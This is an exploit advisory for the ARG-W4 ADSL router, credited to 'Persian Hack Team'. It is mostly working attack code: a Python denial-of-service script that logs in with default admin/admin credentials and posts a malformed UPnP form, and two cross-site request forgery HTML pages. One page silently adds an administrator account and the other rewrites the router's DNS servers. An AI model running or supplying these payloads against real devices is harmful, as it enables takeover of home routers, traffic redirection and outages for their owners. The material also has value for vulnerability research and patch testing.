63 lines
No EOL
2 KiB
Text
63 lines
No EOL
2 KiB
Text
# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities
|
|
# Date: 2016-12-11
|
|
# Exploit Author: Persian Hack Team
|
|
# Discovered by : Mojtaba MobhaM
|
|
# Tested on: Windows AND Linux
|
|
# Exploit Demo : http://persian-team.ir/showthread.php?tid=196
|
|
|
|
1 - Denial of Service
|
|
|
|
#!/usr/bin/python
|
|
import urllib2
|
|
import urllib
|
|
|
|
site=raw_input("Enter Url : ")
|
|
site=site+"/form2Upnp.cgi"
|
|
username='admin'
|
|
password='admin'
|
|
p = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
|
p.add_password(None, site, username, password)
|
|
handler = urllib2.HTTPBasicAuthHandler(p)
|
|
opener = urllib2.build_opener(handler)
|
|
urllib2.install_opener(opener)
|
|
|
|
post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'}
|
|
data = urllib.urlencode(post)
|
|
try:
|
|
html = urllib2.urlopen(site,data)
|
|
print ("Done ! c_C")
|
|
except:
|
|
print ("Done ! c_C")
|
|
|
|
2-1 Cross-Site Request Forgery (Add Admin)
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://192.168.1.1/form2userconfig.cgi" method="POST">
|
|
USER:<input type="text" name="username" value="mobham" />
|
|
<input type="hidden" name="privilege" value="2" />
|
|
PWD:<input type="text" name="newpass" value="mobham" />
|
|
RPWD:<input type="texr" name="confpass" value="mobham" />
|
|
<input type="hidden" name="adduser" value="Add" />
|
|
<input type="hidden" name="hiddenpass" value="" />
|
|
<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
2-2 Cross-Site Request Forgery (Change DNS)
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://192.168.1.1/form2Dns.cgi" method="POST">
|
|
<input type="hidden" name="dnsMode" value="1" />
|
|
DNS<input type="text" name="dns1" value="2.2.2.2" />
|
|
DNS 2<input type="text" name="dns2" value="1.1.1.1" />
|
|
DNS 3<input type="text" name="dns3" value="" />
|
|
<input type="hidden" name="submit.htm?dns.htm" value="Send" />
|
|
<input type="hidden" name="save" value="Apply Changes" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |